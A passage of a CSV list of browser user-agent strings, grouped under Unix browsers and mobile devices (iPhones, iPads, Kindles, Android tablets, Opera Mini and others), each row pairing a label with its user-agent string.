Gecko) Chrome/36.0.1985.125 Safari/537.36\"\nBrowsers - Unix,Chromium 20.0 (NetBSD),\"Mozilla/5.0 (X11; NetBSD x86; en-us) AppleWebKit/666.6+ (KHTML, like Gecko) Chromium/20.0.0000.00 Chrome/20.0.0000.00 Safari/666.6+\"\nBrowsers - Unix,Epiphany 2.30.0 (FreeBSD),\"Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.22+ (KHTML, like Gecko) Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.22+ Epiphany/2.30.6\"\nBrowsers - Unix,Epiphany 2.30.0 (OpenBSD),\"Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2  (KHTML, like Gecko) Safari/531.2  Epiphany/2.30.0\"\nBrowsers - Unix,Firefox 16.0 (NetBSD 64),Mozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0\nBrowsers - Unix,Firefox 28.0 (OpenBSD 64),Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0\nBrowsers - Unix,Firefox 30.0 (NetBSD 64),Mozilla/5.0 (X11; NetBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0\nBrowsers - Unix,Firefox 30.0 (OpenBSD 64),Mozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.0\nBrowsers - Unix,Firefox 35.0 (FreeBSD 64),\"Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36\"\nBrowsers - Unix,Firefox 54.0 (FreeBSD 64),Mozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.0\nBrowsers - Unix,Konqueror 4.1 - khtml (DragonFly),Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)\nBrowsers - Unix,Konqueror 4.1 - khtml (OpenBSD),Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)\nBrowsers - Unix,Konqueror 4.5.4 - khtml (NetBSD 5.0.2),Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)\nBrowsers - Unix,Konqueror 4.5.4 - khtml (FreeBSD),Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)\nBrowsers - Unix,Namoroka 3.6.15 (Firefox) (NetBSD),Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15\nBrowsers - Unix,NetSurf 1.2 (NetBSD),NetSurf/1.2 (NetBSD; amd64)\nBrowsers - Unix,Opera 12.10 (FreeBSD),Opera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.10\nBrowsers - Unix,QupZilla 1.7.0 (FreeBSD),\"Mozilla/5.0 (Unknown; UNIX BSD/SYSV system) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.7.0 Safari/538.1\"\nBrowsers - Unix,Seamonkey 1.1.8 (Mozilla) (SunOS 32bit),Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8\nBrowsers - Unix,Seamonkey 2.25 (Firefox/28.0) (FreeBSD),Mozilla/5.0 (X11; FreeBSD i386; rv:28.0) Gecko/20100101 Firefox/28.0 SeaMonkey/2.25\nMobile Devices,Bolt 2.8 (webkit 534.6) (Sony Ericsson K800i),\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.800) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.0 Safari/534.6.3\"\nMobile Devices,Chrome 35.0 (Samsung SM-T537A) - Android 4.4.2 -,Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-T537A Build/KOT49H) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.141 Safari/537.36\nMobile Devices,Chrome 60.0 - Pixel XL OPR6 - Android 8.0.0,\"Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36\"\nMobile Devices,Edge 12.0 (webkit 537.36) Windows Phone OS 10.0,\"Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Mobile Safari/537.36 Edge/12.0\"\nMobile Devices,Firefox 35.0 - Android,Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0\nMobile Devices,IEMobile 6.12 (Win CE) (with zune id),Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)\nMobile Devices,EMobile 7.11 (MSIE 6 - Win CE),Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)\nMobile Devices,IEMobile 7.0 (MSIE 7.0) - WinPhone OS 7.0 - Asus Galaxy,Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6\nMobile Devices,IEMobile 7.5 (MSIE 9 - WP7.5),Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)\nMobile Devices,IEMobile 9.0 - WinPhone OS 7.5,Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)\nMobile Devices,IEMobile 10.0 - WinPhone OS 8.0 - ARM,Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch)\nMobile Devices,EudoraWeb 2.1 (PalmOS),Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1\nMobile Devices,Firefox 4.0.1 (Win CE),Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\nMobile Devices,Firefox Fennec 1.0.a1 (Linux arm),Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1\nMobile Devices,Firefox Fennec 2.0.1 (Maemo arm),Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMobile Devices,Firefox Fennec 10.0.1 (Maemo arm),Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1\nMobile Devices,Firefox 48.0 - Android 6.0.1 (Samsung SM-G935F),Mozilla/5.0 (Android 6.0.1; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0\nMobile Devices,Minimo 0.016 (Win CE),Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016\nMobile Devices,Minimo 0.020 (Linux),Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020\nMobile Devices,Minimo 0.025 (Linux arm),Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025\nMobile Devices,NetFront 3.0 (PalmOS),Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0\nMobile Devices,Opera 9.51 beta (Windows),Opera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en)\nMobile Devices,Opera 9.60 Mini 4.1 beta (Windows),Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0\nMobile Devices,Opera 9.60 Mini 4.2 J2ME/MIDP,Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.0\nMobile Devices,Opera 10.00 Mobi - SymbOS,Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00\nMobile Devices,Opera 10.61 Mini 5.1 (J2ME/MIDP),Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30\nMobile Devices,Opera 11.1010 Mini 7.5 (Android),Opera/9.80 (Android; Opera Mini/7.5.33361/31.1543; U; en) Presto/2.8.119 Version/11.1010\nMobile Devices,Opera 12.16 Mini 8.0 (J2ME/MIDP),Opera/9.80 (J2ME/MIDP; Opera Mini/8.0.35626/37.8918; U; en) Presto/2.12.423 Version/12.16\nMobile Devices,Opera 30.0 (Android),\"Mozilla/5.0 (Linux; Android 5.1.1; Nexus 7 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\"\nMobile Devices,Opera Mini 9.0 (Android),Opera/9.80 (Android; Opera Mini/9.0.1829/66.318; U; en) Presto/2.12.423 Version/12.16\nMobile Devices,Opera Mobi 1040 (Linux i686),Opera/9.80 (Linux i686; Opera Mobi/1040; U; en) Presto/2.5.24 Version/10.00\nMobile Devices,Polaris 6.01,POLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.1\nMobile Devices,Puffin 2.9174AP - Android - (AP=Android Phone),\"Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP\"\nMobile Devices,Puffin 2.9174AT - Android - (AT=Android Tablet),\"Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AT\"\nMobile Devices,Puffin 3.9174IP - iOS 6_1 - (IP=iphone),\"Mozilla/5.0 (iPod; U; CPU iPhone OS 6_1 like Mac OS X; en-HK) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IP Mobile\"\nMobile Devices,Puffin 3.9174IT - (says Linux) - (IT=iOS tablet),\"Mozilla/5.0 (X11; U; Linux x86_64; en-AU) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IT\"\nMobile Devices,Puffin 2.0.5603M - Linux - (M=mobile),\"Mozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.0.5603M\"\nMobile Devices,Puffin 4.5.0IT - (says Linux) - (IT=iOS tablet),\"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT\"\nMobile Devices,Mobile Safari 530.17 (Android),\"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\"\nMobile Devices,Safari 533 - iPad - iOS 4_2_1),\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\"\nMobile Devices,Safari 533.17 - iPhone - iOS 4_2_1,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\"\nMobile Devices,Safari 6 (8536.25) - Apple iPad 2 - iOS 6_0,\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\"\nMobile Devices,UCBrowser 2.9.0 - Trident/MSIE 9.0 - WindowsPhone 7,Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7) UCBrowser/2.9.0.263\nMobile Devices,UCBrowser 8.6.1 - Webkit 533 - Android 2.3.3,\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us ; LS670 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1/UCBrowser/8.6.1.262/145/355\"\nMobile Devices,Acer Iconia - Android - 3.0.1 - AppleWebKit 534.13,\"Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\"\nMobile Devices,(device unknown) - Android 4.1 - AppleWebKit 534.30,\"Mozilla/5.0 (Linux; U; Android 4.1; en-us; sdk Build/MR1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Safari/534.30\"\nMobile Devices,(device unknown) - Android 4.2 - Safari 535.19,\"Mozilla/5.0 (Linux; U; Android 4.2; en-us; sdk Build/MR1) AppleWebKit/535.19 (KHTML, like Gecko) Version/4.2 Safari/535.19\"\nMobile Devices,(device unknown) - Android - Puffin 2.9174AT (AT=android tablet),\"Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AT\"\nMobile Devices,Apple iPad - iOS - Puffin/3.9174IT (IT=ios tablet),\"Mozilla/5.0 (X11; U; Linux x86_64; en-AU) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IT\"\nMobile Devices,Apple iPad 1 - iOS 3.2 - Safari 531,\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\"\nMobile Devices,Apple iPad 1 - iOS 4_2_1 - Safari 533,\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\"\nMobile Devices,Apple iPad 2 - iOS 4_3 - Safari 533,\"Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\"\nMobile Devices,Apple iPad - iOS 5_1 - Safari 5.1 (7534.48.3),\"Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3\"\nMobile Devices,Apple iPad 2 - iOS 6_0 - Safari 6 (8536.25),\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\"\nMobile Devices,Apple iPad - iOS 8_0_2 - Safari 7 (9537.53),Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML like Gecko) Mobile/12A405 Version/7.0 Safari/9537.53\nMobile Devices,Apple iPad - iOS 8_4 - Safari 8 (600.1),\"Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4\"\nMobile Devices,Apple iPad - iOS 9_3 - Safari 9 (601.1),\"Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1\"\nMobile Devices,Apple iPad - iOS 10_0 - CriOS 49.0,\"Mozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/49.0.2623.109 Mobile/14A5335b Safari/601.1.46\"\nMobile Devices,Apple iPad - iOS 11_0 - Safari 11.0,\"Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1\"\nMobile Devices,Apple iPad - Puffin 4.5.0IT - (says Linux) - (IT=iOS tablet),\"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT\"\nMobile Devices,Barnes & Noble Nook Color - (Masked: IDs as: OS_X 10_5_7) - Safari 530.17,\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17\"\nMobile Devices,HP Touchpad 1.0 - WebOS 3.0.2 - wOSBrowser 234.40,\"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0\"\nMobile Devices,Kindle Fire - Android 4.0.3 - Silk 2.1 (AppleWebKit 535.19),\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/535.19 (KHTML, like Gecko) Silk/2.1 Mobile Safari/535.19 Silk-Accelerated=true\"\nMobile Devices,LG V410 Tablet - Android 4.4 - Chrome 30,\"Mozilla/5.0 (Linux; Android 4.4.2; LG-V410 Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Safari/537.36\"\nMobile Devices,Motorola Xoom - Android 3.0.1 - Mobile Safari 523.12,\"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10  (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2\"\nMobile Devices,Nook Tablet - Android 4.0.4 - Chrome 42/Safari 533.1,\"Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36\"\nMobile Devices,RIM (Blackberry) Playbook - OS 2.1.0 - Safari 536.2+,Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML like Gecko) Version/7.2.1.0 Safari/536.2+\nMobile Devices,Samsung Galaxy - Android 1.5 - Mobile Safari 525.20.1,\"Mozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\"\nMobile Devices,Samsung Galaxy - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Samsung Galaxy (Verizon) - Android 2.2 - Mobile Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\"\nMobile Devices,Galaxy GT-P5210 tablet - Android 4.4.2 - AppleWebKit 534.30,\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-P5210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\"\nMobile Devices,Samsung GT-P7100 - Android 3.0.1 - AppleWebKit 534.13,\"Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\"\nMobile Devices,Samsung SM-T530NU - Android 5.0.2 - Chrome 38.0,\"Mozilla/5.0 (Linux; Android 5.0.2; SAMSUNG SM-T530NU Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/3.2 Chrome/38.0.2125.102 Safari/537.36\"\nMobile Devices,Iconia Tablet - Android - 3.0.1 - AppleWebKit 534.13,\"Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\"\nMobile Devices,Kindle 2.0 - Linux,Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800)\nMobile Devices,Kindle 3.0 - AppleWebKit 528.5 - Linux,\"Mozilla/5.0 (Linux U; en-US)  AppleWebKit/528.5  (KHTML, like Gecko, Safari/528.5 ) Version/4.0 Kindle/3.0 (screen 600x800; rotate)\"\nMobile Devices,Kindle 3.0+ - Safari 5.0 (AppleWebKit 531.2) - Android,\"Mozilla/5.0 (X11; U; Linux armv7l like Android; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/533.2+ Kindle/3.0+\"\nMobile Devices,Kindle Fire - Silk/2.1 (AppleWebKit 535.19) - Android,\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/535.19 (KHTML, like Gecko) Silk/2.1 Mobile Safari/535.19 Silk-Accelerated=true\"\nMobile Devices,iPad 1 - iOS 3.2 - Safari 531,\"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\"\nMobile Devices,iPad 1 - iOS 4_2 - Safari 533,\"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\"\nMobile Devices,iPad 2 - iOS 4_3 - Safari 533,\"Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\"\nMobile Devices,iPad 2 - iOS 5_0 - Safari 7.2,Mozilla/5.0 (iPad; U; CPU iPad OS 5_0_1 like Mac OS X; en-us) AppleWebKit/535.1+ (KHTML like Gecko) Version/7.2.0.0 Safari/6533.18.5\nMobile Devices,iPad - iOS 6_0 - Safari 6.0,\"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\"\nMobile Devices,iPad - iOS 7_0 - Safari 6 (8536.25),\"Mozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) CriOS/30.0.1599.12 Mobile/11A465 Safari/8536.25 (3B92C18B-D9DE-4CB7-A02A-22FD2AF17C8F)\"\nMobile Devices,iPad - iOS 7_1 - Safari 7 (9537.53),\"Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53\"\nMobile Devices,iPad - iOS 8_0 - Safari 7 (9537.53),Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML like Gecko) Mobile/12A405 Version/7.0 Safari/9537.53\nMobile Devices,iPad - iOS 8_4 - Safari 8 (600.1),\"Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4\"\nMobile Devices,iPad - iOS 9_3 - Safari 9 (601.1),\"Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1\"\nMobile Devices,iPad - Puffin 4.5.0IT - (says Linux) - (IT=iOS tablet),\"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 Puffin/4.5.0IT\"\nMobile Devices,iPhone - iOS 1.0 - Safari 3.0,\"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420  (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\"\nMobile Devices,iPhone - iOS 2.0 - Safari 3.1,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200\"\nMobile Devices,iPhone - iOS 3.0 - Safari 4.0,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\"\nMobile Devices,iPhone - iOS 4_0 - Safari 4.0,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7\"\nMobile Devices,iPhone - iOS 4_2_1 - Safari 533.17,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\"\nMobile Devices,iPhone - iOS 5_1_1 - Chrome (crios) 19.0,\"Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; da-dk) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3\"\nMobile Devices,iPhone - iOS 6_0 - Safari 6.0,\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25\"\nMobile Devices,iPhone - iOS 6 - UCWEB 8.8,UCWEB/8.8 (iPhone; CPU OS_6; en-US)AppleWebKit/534.1 U3/3.0.0 Mobile\nMobile Devices,iPhone - iOS 7_1_2 - Safari 7,Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53\nMobile Devices,iPhone - iOS 8_3 - Safari 8.0,\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4\"\nMobile Devices,iPhone - iOS 8_4 - Safari 8.0,\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H321 Safari/600.1.4\"\nMobile Devices,iPhone - iOS 9_2 - Safari 9.0,\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1\"\nMobile Devices,iPhone - iOS 10_0 - Safari 10.0,\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A346 Safari/602.1\"\nMobile Devices,iPhone - iOS 10_0 - GSA 18.0,\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/18.0.130791545 Mobile/14A5345a Safari/600.1.4\"\nMobile Devices,iPhone - iOS 10_3 - Safari 9,\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\"\nMobile Devices,iPhone - iOS 11_0 - Safari 11,\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1\"\nMobile Devices,iPod Touch - iOS 2.2.1 - Safari 3.1,\"Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\"\nMobile Devices,iPod Touch - iOS 3_1_1 - Safari 528.16,\"Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145\"\nMobile Devices,iPod Touch - iOS 7_1 - Safari 7.0/537.51,Mozilla/5.0 (iPod touch; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D167 Safari/123E71C\nMobile Devices,iPod Touch - iOS 8_4 - Safari 600.1,\"Mozilla/5.0 (iPod; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H143 Safari/600.1.4\"\nMobile Devices,Nook 2 (limited data),nook browser/1.0\nMobile Devices,Nook Color - Android - IDs as: OS_X 10_5_7 - Safari 530.17,\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17\"\nMobile Devices,Nook Tablet - Android 2.3.4 - Safari 533.1,\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1\"\nMobile Devices,Nook Tablet - Android 4.0.4 - Chrome 42/Safari 533.1,\"Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36\"\nMobile Devices,7100,BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103\nMobile 